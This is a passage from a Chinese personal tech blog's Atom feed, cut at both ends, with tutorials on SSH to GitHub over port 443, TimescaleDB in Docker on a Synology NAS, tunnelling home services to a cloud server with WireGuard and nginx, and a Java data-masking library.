&lt;div class=&quot;mermaid-wrap&quot;&gt;&lt;pre class=&quot;mermaid-src&quot; hidden&gt;
  graph TB
    Modem[光猫]
    StudyRouter[书房主路由]
    Livin</summary>
      
    
    
    
    <category term="其他" scheme="https://blog.allbs.cn/categories/%E5%85%B6%E4%BB%96/"/>
    
    
    <category term="网络" scheme="https://blog.allbs.cn/tags/%E7%BD%91%E7%BB%9C/"/>
    
    <category term="服务器" scheme="https://blog.allbs.cn/tags/%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>github无法通过ssh推送或者拉取的一种解决办法</title>
    <link href="https://blog.allbs.cn/posts/21233/"/>
    <id>https://blog.allbs.cn/posts/21233/</id>
    <published>2025-01-03T06:04:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前景提要">前景提要</h2><p>今天突然发现github无法通过ssh推送或者拉取了，研究了以下找到了一个解决办法。<br>提交时的错误如图，ssh密钥已经配置进GitHub了，仓库的权限也没有任何问题，但是就是无法进行ssh的操作。<br><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/2c3cc49950b05fc828616db13fd4095e.png" alt=""></p><h2 id="解决办法">解决办法</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2025/01/e7749ca0fd0cf995eb240b616d7c8976.png" alt=""><br>在ssh密钥的储存目录新建一个config文件，内容如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Host github.com</span><br><span class="line">Hostname ssh.github.com</span><br><span class="line">Port 443</span><br><span class="line">User git</span><br></pre></td></tr></table></figure><p>然后重新进行git的操作，就可以正常进行了。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前景提要&quot;&gt;前景提要&lt;/h2&gt;
&lt;p&gt;今天突然发现github无法通过ssh推送或者拉取了，研究了以下找到了一个解决办法。&lt;br&gt;
提交时的错误如图，ssh密钥已经配置进GitHub了，仓库的权限也没有任何问题，但是就是无法进行ssh的操作。&lt;br&gt;
&lt;img s</summary>
      
    
    
    
    <category term="git" scheme="https://blog.allbs.cn/categories/git/"/>
    
    
    <category term="git" scheme="https://blog.allbs.cn/tags/git/"/>
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
  </entry>
  
  <entry>
    <title>群晖nas安装timescaledb时序数据库</title>
    <link href="https://blog.allbs.cn/posts/19594/"/>
    <id>https://blog.allbs.cn/posts/19594/</id>
    <published>2024-12-23T02:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言">前言</h2><p>最近有时序库的需求，我常用的是influxdb和timescaledb，influxdb是专门的时序库，timescaledb是在postgresql上的时序库，因为写法更接近于mysql，后端服务做动态库切换挺方便的，所以我选择了timescaledb。</p><h2 id="安装">安装</h2><h3 id="准备">准备</h3><p>因为众所周知的原因，docker源被墙了，所以群晖里面如果想用，必须要用到镜像源。我是自己利用cloudflare自己搭的，你们有需要也可以使用。<br>我的镜像源地址为: <a href="https://dockerhub.allbs.xyz">https://dockerhub.allbs.xyz</a></p><p>群晖中的配置方法为:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/dc15b9487742470fd2b5034e2c403a97.png" alt="配置镜像源"><br>修改后别忘记点击<strong>使用</strong>按钮，使其生效。</p><h3 id="搜索安装">搜索安装</h3><p>因为我的群晖直接在搜索框中筛选出结果，所以我只能使用命令行安装了，如果可视化面板操作没问题的可以跳过我这一步。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/548fdb4a70eab6ebb15f340233f2ac69.png" alt="下载镜像"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull timescale/timescaledb:latest-pg17</span><br></pre></td></tr></table></figure><p>下载完成后刷新列表即可看到映像已经加载出来了<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/56bfc740aefb8674a44ca25b3f2c8ab1.png" alt="映像"></p><h2 id="环境配置">环境配置</h2><p>点击映像-&gt;允许-&gt;勾选自动重新启动-&gt;下一步<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/88ef64e460372ae30c3273a74364fdeb.png" alt="开始配置"></p><p>配置映射端口-&gt;配置映射的文件夹名称-&gt;配置数据库访问账号密码<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/c511af0fbf663a0e5a9e6a85f53a5d28.png" alt="端口和文件夹"></p><ul><li>端口我配置的<code>6543</code>是因为我的本地<code>5432</code>被占用了，前面的端口可以随意配置，是你最后在其他电脑中访问所使用的端口。</li><li>文件夹映射，第一列是你自己的<code>物理磁盘中的文件夹路径</code>，第二列是下面<code>环境</code>中<code>PGDATA</code>的值。</li></ul><p>配置账号密码<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/4612377d6f13aa51ff1f476362714c3f.png" alt="账号密码"></p><ul><li><code>POSTGRES_USER</code>是你访问的账户名</li><li><code>POSTGRES_PASSWORD</code>就是这个账户访问的密码</li></ul><p>点击下一步然后再点击完成即可。先不着急启动，配置远程访问。</p><h2 id="配置远程访问">配置远程访问</h2><h3 id="从物理磁盘中下载postgresql-conf和pg-hba-conf文件">从物理磁盘中下载<code>postgresql.conf</code>和<code>pg_hba.conf</code>文件</h3><p>修改其中的配置：</p><h4 id="postgresql-conf">postgresql.conf</h4><p>确保属性值为*，我记得以前再centeros上安装时需要手动修改这个值的，不知道时版本还是系统原因，这个默认就是*。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/3e60b9bf89f3b69c34b8c42e779e01bb.png" alt="listen_addressses"></p><h4 id="pg-hba-conf">pg_hba.conf</h4><p>这个是肯定需要改的<br><strong>注释红框上面一行或者添加红框内容</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">host    all             all             0.0.0.0/0            md5</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/b58653d26d6054fe467db9f71386ddf3.png" alt="配置远程访问"></p><p>修改两个文件之后替换物理磁盘中的两个原文件，然后启动。</p><h2 id="使用客户端工具尝试访问">使用客户端工具尝试访问</h2><p><code>datagrip</code>、<code>navicat</code>等挺多数据库连接工具都可以。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/b700c63defbf3d7bb649a76d29c22246.png" alt="测试连接"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近有时序库的需求，我常用的是influxdb和timescaledb，influxdb是专门的时序库，timescaledb是在postgresql上的时序库，因为写法更接近于mysql，后端服务做动态库切换挺方便的，所以我选择了t</summary>
      
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="timescaledb" scheme="https://blog.allbs.cn/tags/timescaledb/"/>
    
    <category term="docker" scheme="https://blog.allbs.cn/tags/docker/"/>
    
    <category term="群晖" scheme="https://blog.allbs.cn/tags/%E7%BE%A4%E6%99%96/"/>
    
    <category term="postgresql" scheme="https://blog.allbs.cn/tags/postgresql/"/>
    
    <category term="时序数据库" scheme="https://blog.allbs.cn/tags/%E6%97%B6%E5%BA%8F%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
  </entry>
  
  <entry>
    <title>使用家庭网络将内网服务映射到公网访问</title>
    <link href="https://blog.allbs.cn/posts/32507/"/>
    <id>https://blog.allbs.cn/posts/32507/</id>
    <published>2024-12-18T03:02:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言">前言</h2><p>众所周知，云服务器稍微高一点的配置价格有多贵，但是它优点是有固定的公网ip。而家庭网络要么是没有公网ip，要么有公网ip开放web服务会被运营商封掉(如果域名不备案还做了ddns、并且还有对外的web服务)。那么有没有办法将家庭内网服务映射到公网访问呢？答案是有的，内网穿透技术就是为了解决这个问题而生的。我下面就要讲讲如何将一个家庭内网的web服务映射到公网，而且还不带端口访问。</p><h2 id="当前设备">当前设备</h2><ul><li>一台云服务器(ubuntu)，我这是腾讯云的新加坡的云服务器，这样就可以域名解析不用备案了。</li><li>一个注册在赛博菩萨cloudflare上的域名，这样可以很方便的用他们的ssl证书和ddos防护。</li><li>一台内网服务器(ubuntu)，是一台迷你机。</li></ul><h2 id="大致流程">大致流程</h2><ol><li>云服务器安装WireGuard服务端。</li><li>内网主机部署了一个后台服务和一个web服务，web服务使用nginx代理。</li><li>内网主机安装WireGuard客户端。</li><li>云服务器和内网主机建立WireGuard连接。</li><li>云服务器配置nginx代理，将内网主机的web服务映射到公网。</li><li>cloudflare解析域名到云服务器的公网ip。</li></ol><h2 id="具体流程说明">具体流程说明</h2><h3 id="云服务器安装WireGuard服务端">云服务器安装WireGuard服务端</h3><p>可以借助脚本一键安装 仓库地址为</p><p><a href="https://github.com/hwdsl2/wireguard-install/blob/master/README-zh.md">安装脚本</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装</span></span><br><span class="line">wget -O wireguard.sh https://get.vpnsetup.net/wg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行</span></span><br><span class="line"><span class="built_in">sudo</span> bash wireguard.sh</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>具体交互步骤我就不说了，默认的就行<br>新建客户端,就是脚本的指令<code>1</code> 如下图，客户端名称随意，自己能分辨即可，我这里是创建了两个，一个给工作的windows，一个就是给内网的迷你主机。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/052f53f282f8065e2e49ea4ff927f738.png" alt="image-20241218171000298"></p><p>生成的配置文件在/root目录下，名称为你起的名称.conf</p><p>windows有客户端直接导入即可</p><p>ubuntu中放在/etc/wireguard目录下，改名为<code>wg0.conf</code>，然后通过命令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wg-quick up wg0</span><br></pre></td></tr></table></figure><p>启动即可。</p><p>使用命令设置开机启动</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable wg-quick@wg0</span><br></pre></td></tr></table></figure><p>至此两台机器组网完成，可以使用wg指令查看</p><h4 id="云服务器">云服务器</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/0fc21ad290d2279dbe06ea27b8bdcf14.png" alt="image-20241218171637428"></p><h4 id="内网迷你机">内网迷你机</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/12/d2651291c46558917c88e7dc517a01d7.png" alt="image-20241218171731324"></p><h4 id="注意">注意</h4><p>云服务器需要将默认的<code>51820</code> <strong>UDP</strong>端口开放，如果你没改的话，家庭网络不需要开发端口。</p><h3 id="迷你机的web服务">迷你机的web服务</h3><p>我使用的是nginx代理的，端口为8899，所以下一步就是需要在云服务器上将流量转发到这台迷你机的8899端口上。</p><h3 id="转发流量">转发流量</h3><p>云服务器上我依然使用的nginx代理的，当然也有其他办法可以实现，有兴趣的可以自己找找。</p><p>nginx配置如下:</p><p>下面的<code>10.7.0.3</code>就是内网迷你机组网的地址，并不是你路由器给他分配的地址！因为我有webocket的需求，所以多加了一个ws的配置，没有需求的可以去掉。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">server &#123;</span><br><span class="line">listen 80 default_server;</span><br><span class="line">server_name _;</span><br><span class="line"></span><br><span class="line">location /ws &#123;</span><br><span class="line">proxy_pass http://10.7.0.3:8899/ws;  # 转发到内网主机的 /ws 路径</span><br><span class="line">proxy_http_version 1.1;</span><br><span class="line">proxy_set_header Upgrade $http_upgrade;</span><br><span class="line">proxy_set_header Connection &quot;upgrade&quot;;</span><br><span class="line">proxy_set_header Host $host;</span><br><span class="line">proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line"></span><br><span class="line"># 设置超时时间</span><br><span class="line">proxy_read_timeout 600s;</span><br><span class="line">proxy_send_timeout 600s;</span><br><span class="line">proxy_connect_timeout 600s;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">location / &#123;</span><br><span class="line">proxy_pass http://10.7.0.3:8899;</span><br><span class="line">proxy_set_header Host $host;</span><br><span class="line">proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line">proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="配置域名访问">配置域名访问</h3><p>实际上述内容配置完之后是可以通过你云服务器:80来进行访问的，你后续只需要在cloudflare上配置域名解析<code>@</code>到你的这个云服务器的ip地址即可。</p>]]></content>
    
    
    <summary type="html">家庭内网服务器和云服务器组网，将家庭内网服务映射到公网访问</summary>
    
    
    
    <category term="运维" scheme="https://blog.allbs.cn/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="网络" scheme="https://blog.allbs.cn/tags/%E7%BD%91%E7%BB%9C/"/>
    
    <category term="组网" scheme="https://blog.allbs.cn/tags/%E7%BB%84%E7%BD%91/"/>
    
    <category term="内网穿透" scheme="https://blog.allbs.cn/tags/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>使用java封装了一个脱敏组件</title>
    <link href="https://blog.allbs.cn/posts/919/"/>
    <id>https://blog.allbs.cn/posts/919/</id>
    <published>2024-11-12T08:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="功能说明">功能说明</h2><p>因为最近有脱敏的需求，所以就趁着这个机会自己实现了一个。肯定还有不少开源库有这种功能，但是考虑到不一定满足自己的需要，所以就自己造了一个轮子自己用。主要功能包括</p><ul><li>接口返回内容的脱敏，包含json序列化方式和aop的两种实现。</li><li>json序列化方式只能用于接口数据返回，在程序内部和数据库并不脱敏。</li><li>aop的方式，在程序内部和接口数据返回时可以脱敏，但是数据库不脱敏，且速度是慢于序列化方式的。</li><li>根据自己的需求来实现脱敏规则，比如有些人的手机号脱敏是中间四位，有些人又只保留初始和末尾一位。</li><li>自定义脱敏字符，默认为<code>*</code>。</li><li>请求体数据自动过滤，比如你传向前端的数据是包含脱敏字符的，正常的做法是前端判断时候包含脱敏字符，如果包含则该字段不往后端传输。我这边实现的是，如果请求体传过来的数据内容跟改字段的脱敏规则一致则<strong>不接收</strong>该字段内容，不，准确的说是在接收该字段内容之前转为null。</li></ul><h2 id="使用示例">使用示例</h2><p>总共有四种使用场景：</p><h3 id="1-作用与方法上的aop注解">1.作用与方法上的aop注解</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Desensitizes(&#123;@Desensitize(field = &quot;username&quot;, exclude = true), @Desensitize(field = &quot;phoneNumber&quot;, type = MobilePhoneDesensitizer.class), @Desensitize(field = &quot;email&quot;, type = EmailDesensitizer.class, maskChar = &quot;#&quot;)&#125;)</span>  </span><br><span class="line"><span class="meta">@GetMapping(&quot;/testMethodAnno&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> TestNoAnnoVO <span class="title function_">testMethodAnno</span><span class="params">()</span> &#123;  </span><br><span class="line">    <span class="type">TestNoAnnoVO</span> <span class="variable">test</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestNoAnnoVO</span>();  </span><br><span class="line">    test.setUsername(<span class="string">&quot;JohnDoe&quot;</span>);  </span><br><span class="line">    test.setPhoneNumber(<span class="string">&quot;13812345678&quot;</span>);  </span><br><span class="line">    test.setEmail(<span class="string">&quot;john.doe@example.com&quot;</span>);  </span><br><span class="line">    <span class="keyword">return</span> test;  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestNoAnnoVO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> String phoneNumber;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输出内容为:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/4fbcc8e29713e50e1de559074a08dc7d.png" alt="作用与方法的注解"></p><h3 id="2-作用于实体字段的aop注解">2.作用于实体字段的aop注解</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/testFieldAnno&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> TestVO <span class="title function_">testFieldAnno</span><span class="params">()</span> &#123;  </span><br><span class="line">    <span class="type">TestVO</span> <span class="variable">test</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestVO</span>();  </span><br><span class="line">    test.setUsername(<span class="string">&quot;JohnDoe&quot;</span>);  </span><br><span class="line">    test.setPhoneNumber(<span class="string">&quot;13812345678&quot;</span>);  </span><br><span class="line">    test.setEmail(<span class="string">&quot;john.doe@example.com&quot;</span>);  </span><br><span class="line">    test.setIdCard(<span class="string">&quot;123456199001011234&quot;</span>);  </span><br><span class="line">    <span class="keyword">return</span> test;  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestVO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Desensitize(exclude = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Desensitize(type = MobilePhoneDesensitizer.class)</span>  </span><br><span class="line">    <span class="keyword">private</span> String phoneNumber;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Desensitize(type = EmailDesensitizer.class, maskChar = &quot;#&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Desensitize(type = IDCardDesensitizer.class, maskChar = &quot;%&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String idCard;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输出内容为：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/0336cdb3267b0826010c035365ddd90d.png" alt="作用于实体字段的aop注解"></p><h3 id="3-序列化注解">3.序列化注解</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/testJsonAnno&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> TestJsonVO <span class="title function_">testJsonAnno</span><span class="params">()</span> &#123;  </span><br><span class="line">    <span class="type">TestJsonVO</span> <span class="variable">test</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestJsonVO</span>();  </span><br><span class="line">    test.setUsername(<span class="string">&quot;JohnDoe&quot;</span>);  </span><br><span class="line">    test.setPhoneNumber(<span class="string">&quot;13812345678&quot;</span>);  </span><br><span class="line">    test.setEmail(<span class="string">&quot;j@example.com&quot;</span>);  </span><br><span class="line">    test.setIdCard(<span class="string">&quot;123456199001011234&quot;</span>);  </span><br><span class="line">    <span class="keyword">return</span> test;  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestJsonVO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(exclude = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = MobilePhoneDesensitizer.class)</span>  </span><br><span class="line">    <span class="keyword">private</span> String phoneNumber;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = EmailDesensitizer.class, maskChar = &quot;#&quot;)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = IDCardDesensitizer.class)</span>  </span><br><span class="line">    <span class="keyword">private</span> String idCard;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个有些区别，如果设置了exclude为true，则直接将返回的该字段隐去。输出内容为:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/d6876fdc270a595a80e59244cf4fe3a9.png" alt="序列化注解"></p><h3 id="4-最后就是基于-JsonDesensitize额外加了一个属性ignoreDesensitized，用于判断是否在接收数据时排除脱敏内容。">4.最后就是基于<code>@JsonDesensitize</code>额外加了一个属性<code>ignoreDesensitized</code>，用于判断是否在接收数据时排除脱敏内容。</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping(&quot;testPut&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testPut</span><span class="params">(<span class="meta">@RequestBody</span> TestDTO testDTO)</span> &#123;  </span><br><span class="line">    log.info(<span class="string">&quot;接收到的数据内容为&#123;&#125;&quot;</span>, testDTO.toString());  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestDTO</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(exclude = true, ignoreDesensitized = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String username;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = MobilePhoneDesensitizer.class, ignoreDesensitized = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String phoneNumber;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = EmailDesensitizer.class, maskChar = &quot;#&quot;, ignoreDesensitized = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String email;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@JsonDesensitize(type = IDCardDesensitizer.class, ignoreDesensitized = true)</span>  </span><br><span class="line">    <span class="keyword">private</span> String idCard;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用效果为：<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/9ccce02a25273dfa7c93d919a4dea70b.png" alt="在接收数据时排除脱敏内容"><br>这个是严格按照输出时的脱敏匹配的，比如输出时手机号脱敏内容为<code>138****1234</code>,那么<code>136****4321</code>则不会接收，正常没有<code>*</code>的手机号或者不符合该规则的比如<code>13****51234</code>这种也会被正常接收。当然这个规则是可以在项目中自定义的。</p><h2 id="使用说明">使用说明</h2><h3 id="项目地址">项目地址</h3><p><a href="https://github.com/chenqi92/alltobs-desensitization-all">https://github.com/chenqi92/alltobs-desensitization-all</a><br>里面包含待引入的jar和demo，因为刚写完，简单测试了一下不排除有其他bug，有需要可以自己fork一下自己改。后续我会在项目中实际使用，如果发现有bug会不断更新，当然也欢迎提issuses。</p><h3 id="引入jar">引入jar</h3><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alltobs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>alltobs-desensitization<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span>  </span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>工具已经上传到了maven的中央仓库，国内的用户可能存在下载困难等问题，需要科学一下。使用国内的阿里等平台代理，以我以往经验同步过去起码要半个月把。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/11/8ab6aec184d394e859abde3918d1d4b1.png" alt=""></p><h3 id="启用功能">启用功能</h3><p>启动类添加注解<code>@EnableAllbsDesensitization</code></p><h3 id="根据自己使用场景的需要、以及上述示例来选择性的添加注解">根据自己使用场景的需要、以及上述示例来选择性的添加注解</h3><ul><li><code>@Desensitize</code></li><li><code>@Desensitizes</code></li><li><code>@JsonDesensitize</code></li></ul><h3 id="自定义在项目中实现一个自己需要的脱敏方式">自定义在项目中实现一个自己需要的脱敏方式</h3><p>如果你不想用默认的脱敏方式，实际上我也没写几个，后续应该会接着加。<br>那么就在你的项目工程中自定义集成<code>BaseDesensitizer</code>类然后自己实现<code>desensitize</code>和<code>getDesensitizedRegex</code>方法即可。<br>这两个方法一个是用于脱敏规则，一个是用于接收数据时判断是否符合规则。<br>具体实现以身份证号为例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.alltobs.alltobsdesensitizationdemo.desensitizer;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> com.alltobs.desensitization.desensitizer.BaseDesensitizer;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.util.regex.Pattern;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 IDCardDesensitizer  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@author</span> ChenQi  </span></span><br><span class="line"><span class="comment"> * &amp;#064;date 2024/11/11  </span></span><br><span class="line"><span class="comment"> */</span><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IDCardDesensitizer</span> <span class="keyword">extends</span> <span class="title 